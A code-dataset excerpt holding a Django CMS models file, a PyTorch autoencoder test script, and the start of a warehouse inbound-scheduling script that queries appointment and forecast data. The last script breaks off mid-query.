save(self, *args,**kwargs):\n if self.parent is None:\n if self.name != \"Editions\" and self.name != \"Drafts\":\n raise ValueError('if path is a root, it must be either editions or drafts')\n super(CItemPath, self).save(*args,**kwargs)\n\n def to_path(self):\n path = list()\n path.append(\"\")\n for x in self.get_ancestors():\n path.append(x.name)\n path.append(self.name)\n return \"/\".join(path)\n\n def draft_path(self):\n # skip level one \"Drafts\" and two \"draft.name\"\n tmp = self.to_path().split(\"/\")\n return \"/\" + '/'.join(tmp[3:])\n\n def ajax_json_data(self, draft_path=False):\n if draft_path:\n path = self.draft_path()\n else:\n path = self.to_path()\n\n res = dict(name=self.name,\n item_count=self.citems.count(),\n id=self.id,\n path=path,\n )\n return res\n\n def ajax_json(self, draft_path=False):\n return json.dumps(self.ajax_json_data(draft_path=draft_path))\n\n class MPTTMeta:\n order_insertion_by = ['name']\n\n class Meta:\n app_label = 'mcms'\n unique_together = [('name', 'parent',),]\n\n\nclass CItemPathChange(models.Model):\n old = models.ForeignKey(CItemPath, related_name=\"source\", null=True, blank=True)\n new = models.ForeignKey(CItemPath, related_name=\"dest\", null=True, blank=True)\n edit = models.ForeignKey(Edit)\n\n class Meta:\n app_label = 'mcms'\n\n\nclass Edition(models.Model):\n name = models.CharField(max_length=1024, unique=True)\n create_time = models.DateTimeField(default=timezone.now)\n previous_edition = models.ForeignKey('Edition', related_name='previous', null=True, blank=True)\n source_draft = models.ForeignKey(Draft)\n\n def __unicode__(self):\n return self.name\n\n def get_item_count(self):\n # there can be only one\n q = self.editionitems_set.all()\n if q.count() == 0:\n return 0\n return q[0].citems.all().count()\n\n def get_citem_path(self):\n return self.source_draft.get_citem_path()\n \n def clone_to_draft(self, name):\n return self.source_draft.clone(name)\n\n class Meta:\n app_label = 'mcms'\n\n\nclass EditionItems(models.Model):\n edition = models.ForeignKey(Edition, unique=True)\n citems = models.ManyToManyField(CItem, null=True, blank=True)\n\n class Meta:\n app_label = 'mcms'\n", "sub_path": "mcms/baseclib/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 28869, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.models.Manager", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 37, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 43, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 52, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 124, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 124, "usage_type": "name"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 165, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 165, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 204, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 204, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 205, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 205, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 206, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 206, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 215, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 215, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 216, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 216, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 216, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 217, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 217, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 217, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 217, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 218, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 218, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 219, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 219, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 220, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 220, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 229, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 229, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path", "line_number": 267, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path", "line_number": 269, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path", "line_number": 276, "usage_type": "attribute"}, {"api_name": "django.db.models.Max", "line_number": 307, "usage_type": "call"}, {"api_name": "django.core.files.File", "line_number": 321, "usage_type": "call"}, {"api_name": "django.db.transaction.commit_on_success", "line_number": 231, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 231, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path", "line_number": 352, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 401, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 401, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 402, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 402, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 403, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 403, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 404, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 404, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 405, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 405, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 406, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 406, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 407, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 407, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 408, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 408, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 410, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 410, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 411, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 411, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 414, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 414, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 415, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 415, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 459, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 463, "usage_type": "call"}, {"api_name": "mimemap.models.MimeType.objects.get", "line_number": 470, "usage_type": "call"}, {"api_name": "mimemap.models.MimeType.objects", "line_number": 470, "usage_type": "attribute"}, {"api_name": "mimemap.models.MimeType", "line_number": 470, "usage_type": "name"}, {"api_name": "mimemap.models.MimeType.DoesNotExist", "line_number": 473, "usage_type": "attribute"}, {"api_name": "mimemap.models.MimeType", "line_number": 473, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 476, "usage_type": "call"}, {"api_name": "os.path", "line_number": 476, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 494, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 506, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 515, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 515, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 516, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 516, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 517, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 517, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 518, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 518, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 519, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 519, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 520, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 520, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 521, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 521, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 522, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 522, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 523, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 523, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 524, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 524, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 525, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 525, "usage_type": "name"}, {"api_name": "magic.from_file", "line_number": 538, "usage_type": "call"}, {"api_name": "magic.from_file", "line_number": 539, "usage_type": "call"}, {"api_name": "magic.MAGIC_MIME", "line_number": 539, "usage_type": "attribute"}, {"api_name": "Image.open", "line_number": 541, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 547, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 555, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 559, "usage_type": "call"}, {"api_name": "mptt.models.TreeManager", "line_number": 584, "usage_type": "name"}, {"api_name": "mptt.models.MPTTModel", "line_number": 669, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 670, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 670, "usage_type": "name"}, {"api_name": "mptt.models.TreeForeignKey", "line_number": 671, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 672, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 672, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 673, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 673, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 712, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 722, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 722, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 723, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 723, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 724, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 724, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 725, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 725, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 731, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 731, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 732, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 732, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 733, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 733, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 733, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 733, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 734, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 734, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 735, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 735, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 757, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 757, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 758, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 758, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 759, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 759, "usage_type": "name"}]} +{"seq_id": "337107966", "text": "import argparse\nimport json\nimport os\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\n\nimport logger\nfrom image_folder import ImageFolder720p\nfrom models.cae_32x32x32_zero_pad_bin import CAE\nfrom utils import save_imgs\n\n\ndef test(cfg):\n\tos.makedirs(f\"./test/{cfg['exp_name']}\", exist_ok=True)\n\n\tmodel = CAE().cuda()\n\n\tmodel.load_state_dict(torch.load(cfg['chkpt']))\n\tmodel.eval()\n\tlogger.info(\"Loaded model from\", cfg['chkpt'])\n\n\tdataset = ImageFolder720p(cfg['dataset_path'])\n\tdataloader = DataLoader(dataset, batch_size=1, shuffle=cfg['shuffle'])\n\tlogger.info(f\"Done setup dataloader: {len(dataloader)}\")\n\n\tmse_loss = nn.MSELoss()\n\n\tfor bi, (img, patches, path) in enumerate(dataloader):\n\n\t\tout = torch.zeros(6, 10, 3, 128, 128)\n\t\t# enc = torch.zeros(6, 10, 16, 8, 8)\n\t\tavg_loss = 0\n\n\t\tfor i in range(6):\n\t\t\tfor j in range(10):\n\t\t\t\tx = Variable(patches[:, :, i, j, :, :]).cuda()\n\t\t\t\ty = model(x)\n\n\t\t\t\t# e = model.enc_x.data\n\t\t\t\t# p = torch.tensor(np.random.permutation(e.reshape(-1, 1)).reshape(1, 16, 8, 8)).cuda()\n\t\t\t\t# out[i, j] = model.decode(p).data\n\n\t\t\t\t# enc[i, j] = model.enc_x.data\n\t\t\t\tout[i, j] = y.data\n\n\t\t\t\tloss = mse_loss(y, x)\n\t\t\t\tavg_loss += (1 / 60) * loss.item()\n\n\t\tlogger.debug('[%5d/%5d] avg_loss: %f' % (bi, len(dataloader), avg_loss))\n\n\t\t# save output\n\t\tout = np.transpose(out, (0, 3, 1, 4, 2))\n\t\tout = np.reshape(out, (768, 1280, 3))\n\t\tout = np.transpose(out, (2, 0, 1))\n\n\t\ty = torch.cat((img[0], out), dim=2)\n\t\tsave_imgs(imgs=y.unsqueeze(0), to_size=(3, 768, 2 * 1280), name=f\"./test/{cfg['exp_name']}/test_{bi}.png\")\n\n\n# save encoded\n# enc = np.reshape(enc, -1)\n# sz = str(len(enc)) + 'd'\n# open(f\"./{cfg['exp_name']}/test_{bi}.enc\", \"wb\").write(struct.pack(sz, *enc))\n\ndef main(args):\n\tcfg = json.load(open(args.cfg, \"rt\"))\n\ttest(cfg)\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--cfg', type=str, required=True)\n\tmain(parser.parse_args())\n", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1992, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.makedirs", "line_number": 18, "usage_type": "call"}, {"api_name": "models.cae_32x32x32_zero_pad_bin.CAE", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 22, "usage_type": "call"}, {"api_name": "logger.info", "line_number": 24, "usage_type": "call"}, {"api_name": "image_folder.ImageFolder720p", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 27, "usage_type": "call"}, {"api_name": "logger.info", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 40, "usage_type": "call"}, {"api_name": "logger.debug", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 60, "usage_type": "call"}, {"api_name": "utils.save_imgs", "line_number": 61, "usage_type": "call"}, {"api_name": "json.load", "line_number": 70, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "259742840", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 8 14:19:54 2019\r\n\r\n@author: AA-VManohar\r\n\"\"\"\r\n\r\n\r\ntry:\r\n import logging\r\n import logging.handlers\r\n import csv\r\n import pandas as pd\r\n import pyodbc\r\n import datetime as dtm\r\n from gurobipy import *\r\n import time\r\n import smtplib\r\n from email.mime.multipart import MIMEMultipart\r\n from email.mime.text import MIMEText\r\n from email.mime.base import MIMEBase\r\n from email import encoders\r\n start_time = time.time()\r\n #inputs\r\n out_1 = {}\r\n out_2 = {}\r\n out_3 = {}\r\n out_copy = {}\r\n missed_ref =[]\r\n infeas_shift ={}\r\n infeasible_day = {}\r\n infeas_ref = []\r\n date_fl = {}\r\n #a = 1.10\r\n objec = {}\r\n M1 = 0\r\n M2 = 0\r\n sch_sh_check = {}\r\n TODAY = dtm.datetime.today()\r\n exp_units = {}\r\n exp_sku = {}\r\n slot_count = {}\r\n logger = logging.getLogger('DFW_run')\r\n logger.setLevel(logging.DEBUG)\r\n rh = logging.handlers.RotatingFileHandler('ISO_process.log',maxBytes = 500*1024,backupCount = 1)\r\n rh.setLevel(logging.DEBUG)\r\n ch = logging.StreamHandler()\r\n ch.setLevel(logging.DEBUG)\r\n formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s - %(message)s')\r\n rh.setFormatter(formatter)\r\n ch.setFormatter(formatter)\r\n if (logger.hasHandlers()):\r\n logger.handlers.clear()\r\n logger.addHandler(rh)\r\n logger.addHandler(ch)\r\n today = dtm.datetime.today().date()\r\n for i in range(1,108):\r\n a = today + dtm.timedelta(days = i-15)\r\n if a.weekday() == 4:\r\n date_fl[str(a)] = '1'\r\n elif a.weekday() in [0,1,2,3]:\r\n date_fl[str(a)] = '0'\r\n else:\r\n pass\r\n \r\n #giving slots \r\n day_slots={'0': ['05:30:00','06:00:00','06:30:00','07:30:00','08:00:00','08:30:00','09:00:00','09:30:00','10:00:00','11:00:00'],\r\n '1':['05:30:00','06:00:00','06:30:00','07:00:00','07:30:00','08:00:00','08:30:00','09:00:00','10:00:00','11:00:00','12:00:00','12:30:00','13:00:00','13:30:00','14:00:00','15:00:00','15:30:00','16:00:00']}\r\n night_slots={'0':['16:00:00','16:30:00','17:00:00','17:30:00','19:00:00','19:30:00','20:00:00','20:30:00'],\r\n '1':[]}\r\n cxn = pyodbc.connect(\"DSN=BIDB\",autocommit = True)\r\n cur = cxn.cursor()\r\n logger.info(\"Vertica is Connected\")\r\n std_no = {\r\n ('9011','16:30:00') : '271',\r\n ('9000','06:30:00') : '266',\r\n ('9000','17:00:00') : '376',\r\n ('9282','06:30:00') : '329',\r\n ('9282','09:00:00') : '325',\r\n ('9283','08:00:00') : '327',\r\n ('9283','09:00:00') : '372',\r\n ('9285','07:30:00') : '273',\r\n ('000000012','09:00:00') : '640',\r\n ('00000002','22:45:00') : '369',\r\n ('00000004','10:00:00') : '602',\r\n ('00000007','21:45:00') : '368'\r\n }\r\n #Sch_units, Sch_SKU and Sch_appt at day level\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE, SUM(pdp.qty) AS IB_units, COUNT(pdp.item_number) AS SKU, COUNT(DISTINCT apl.appointment_id) AS slots\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n JOIN aad.t_po_detail AS pdp\r\n ON pdp.po_number = pol.po_number\r\n WHERE apl.wh_id = 'DFW1' AND LOWER(apl.status) <> 'cancelled' AND apl.request_date:: DATE > current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n GROUP BY 1\r\n ORDER BY 1\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['date','U','S','Sl']\r\n sch_dict = dict([str(i),[int(j),int(k),int(l)]] for i,j,k,l in zip(df.date,df.U,df.S,df.Sl))\r\n #Sch_appt at slot level\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE, apl.request_time:: TIME,COUNT(DISTINCT apl.appointment_id) AS slots\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n WHERE apl.wh_id = 'DFW1' AND LOWER(apl.status) <> 'cancelled' AND apl.request_date:: DATE > current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n GROUP BY 1,2\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['dt','t','s']\r\n sch_slot = dict([(str(i),str(j)),int(k)] for i,j,k in zip(df.dt,df.t,df.s))\r\n \r\n #Sch_units, Sch_SKU and Sch_appt at day and shift level\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE,CASE WHEN apl.request_time:: TIME BETWEEN '04:00:00' AND '14:30:00' THEN 1 ELSE 2 END AS shift, SUM(pdp.qty) AS IB_units, COUNT(DISTINCT pdp.item_number) AS SKU, COUNT(DISTINCT apl.appointment_id) AS slots\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n JOIN aad.t_po_detail AS pdp\r\n ON pdp.po_number = pol.po_number\r\n WHERE apl.wh_id = 'DFW1' AND LOWER(apl.status) <> 'cancelled' AND apl.request_date:: DATE > current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n GROUP BY 1,2\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['dt','sh','u','s','sl']\r\n sch_sh = dict([(str(i),str(j)),[int(k),int(l),int(m)]] for i,j,k,l,m in zip(df.dt,df.sh,df.u,df.s,df.sl))\r\n logger.info(\"HJ data are collected\")\r\n \r\n #Getting S&OP forecast\r\n query = \"\"\"\r\n with FC_max_date as\r\n (\r\n select distinct date::date,wh_id,max(scrape_update_dttm) as max_date \r\n from sandbox_fulfillment.t_labor_model_inbound_forward_looking_capacity_new \r\n --where date::date = scrape_update_dttm::date + 14 --rolling 14 day lock\r\n --date_trunc('week',date::date+1)-1 = timestampadd('week',2,date_trunc('week',scrape_update_dttm+1)-1) --2 week lock\r\n group by 1,2\r\n )\r\n select iblm.wh_id,iblm.scrape_update_dttm,iblm.date::date as date,\r\n ROUND(abs(iblm.planned_operations_units_received),0) AS planned_operations_units_received ,\r\n ROUND(abs(iblm.planned_operations_units_received),0)-ROUND(abs(iblm.planned_units_received_nights),0) as planned_units_received_days,\r\n ROUND(abs(iblm.planned_units_received_nights),0) AS planned_units_received_nights \r\n from sandbox_fulfillment.t_labor_model_inbound_forward_looking_capacity_new iblm\r\n join FC_max_date fmd on iblm.scrape_update_dttm = fmd.max_date and iblm.wh_id = fmd.wh_id and iblm.date::date = fmd.date\r\n where iblm.date::date >= current_date AND iblm.wh_id = 'DFW1'\r\n order by wh_id, date;\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['fc_nm','update_dttm','date','units','day_units','night_units']\r\n f = dict([str(i),[float(j),float(k)]] for i,j,k in zip(df.date,df.day_units,df.night_units))\r\n \r\n# =============================================================================\r\n# query = \"\"\"\r\n# SELECT common_date_dttm, forecast_percent\r\n# FROM sandbox_supply_chain.daily_inbound_forecast_percent\r\n# WHERE common_date_dttm between current_date-7 and current_date+123 AND location = 'DFW1'\r\n# ORDER BY 1\r\n# \"\"\"\r\n# #cur.execute(query)\r\n# #result = cur.fetchall()\r\n# #df = pd.DataFrame(data = result)\r\n# df = pd.read_sql(query,cxn)\r\n# df.columns = ['date','units']\r\n# temp_perc = dict([i,float(j)] for i,j in zip(df.date,df.units))\r\n# f = {}\r\n# f_sch = {}\r\n# for i in temp_f.keys():\r\n# k = 0\r\n# while k < 5:\r\n# a = i + dtm.timedelta(days = k+1)\r\n# if a in temp_perc:\r\n# f[str(a)] = temp_perc[a] * temp_f[i]\r\n# else:\r\n# f[str(a)] = 0.2* temp_f[i]\r\n# k = k+1\r\n# =============================================================================\r\n logger.info(\"Forecast data is collected\") \r\n\r\n \r\n cnt = 1\r\n for i in range(1,108):\r\n a = today + dtm.timedelta(days = i-1)\r\n if 1 <= cnt <= 3:\r\n if str(a) in f:\r\n f[str(a)][0] = 1 * f[str(a)][0]\r\n f[str(a)][1] = 1 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n \r\n elif 4 <= cnt <= 6:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.9 * f[str(a)][0]\r\n f[str(a)][1] = 0.9 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n elif 7 <= cnt <= 9:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.8 * f[str(a)][0]\r\n f[str(a)][1] = 0.8 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n elif 10 <= cnt <= 12:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.7 * f[str(a)][0]\r\n f[str(a)][1] = 0.7 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n elif 13 <= cnt <= 15:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.6 * f[str(a)][0]\r\n f[str(a)][1] = 0.6 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n elif 16 <= cnt <= 18:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.5 * f[str(a)][0]\r\n f[str(a)][1] = 0.5 * f[str(a)][1]\r\n cnt = cnt + 1\r\n else:\r\n pass\r\n else:\r\n if str(a) in f:\r\n f[str(a)][0] = 0.4 * f[str(a)][0]\r\n f[str(a)][1] = 0.4 * f[str(a)][1]\r\n else:\r\n pass\r\n logger.info(\"Added Dynamic weights to the S&OP forecast\")\r\n \r\n #getting vas_units\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE, sum(pdp.qty)\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n JOIN aad.t_po_detail AS pdp\r\n ON pol.po_number = pdp.po_number\r\n JOIN chewybi.products AS p\r\n ON pdp.item_number = p.product_part_number\r\n WHERE apl.wh_id = 'DFW1' AND apl.status <> 'Cancelled' AND p.product_merch_classification2 = 'Litter' AND p.product_vas_profile_description IN ('SHRINKWRAP') AND apl.request_date:: DATE >= current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n GROUP BY 1\r\n ORDER BY 1\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['date','vas_units']\r\n sch_vas = dict([str(i),int(j)] for i,j in zip(df.date,df.vas_units))\r\n \r\n vas_dt = []\r\n \r\n for i in sch_vas.keys():\r\n if sch_vas[i] > 6000:\r\n vas_dt.append(i)\r\n else:\r\n pass\r\n \r\n #getting vas units by shift\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE,CASE WHEN apl.request_time:: TIME BETWEEN '04:00:00' AND '14:30:00' THEN 1 ELSE 2 END AS shift, SUM(pdp.qty) AS vas_units\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n JOIN aad.t_po_detail AS pdp\r\n ON pol.po_number = pdp.po_number\r\n JOIN chewybi.products AS p\r\n ON pdp.item_number = p.product_part_number\r\n WHERE apl.wh_id = 'DFW1' AND apl.status <> 'Cancelled' AND p.product_merch_classification2 = 'Litter' AND p.product_vas_profile_description IN ('SHRINKWRAP') AND apl.request_date:: DATE >= current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n GROUP BY 1,2\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['dt','sh','vas_units']\r\n sch_vas_sh = dict([(str(i),str(j)),float(k)] for i,j,k in zip(df.dt,df.sh,df.vas_units))\r\n \r\n for (i,j) in sch_vas_sh.keys():\r\n if sch_vas_sh[(i,j)] > 3000:\r\n vas_dt.append((i,j))\r\n else:\r\n pass\r\n #getting and initializing vas slot\r\n query = \"\"\"\r\n SELECT DISTINCT 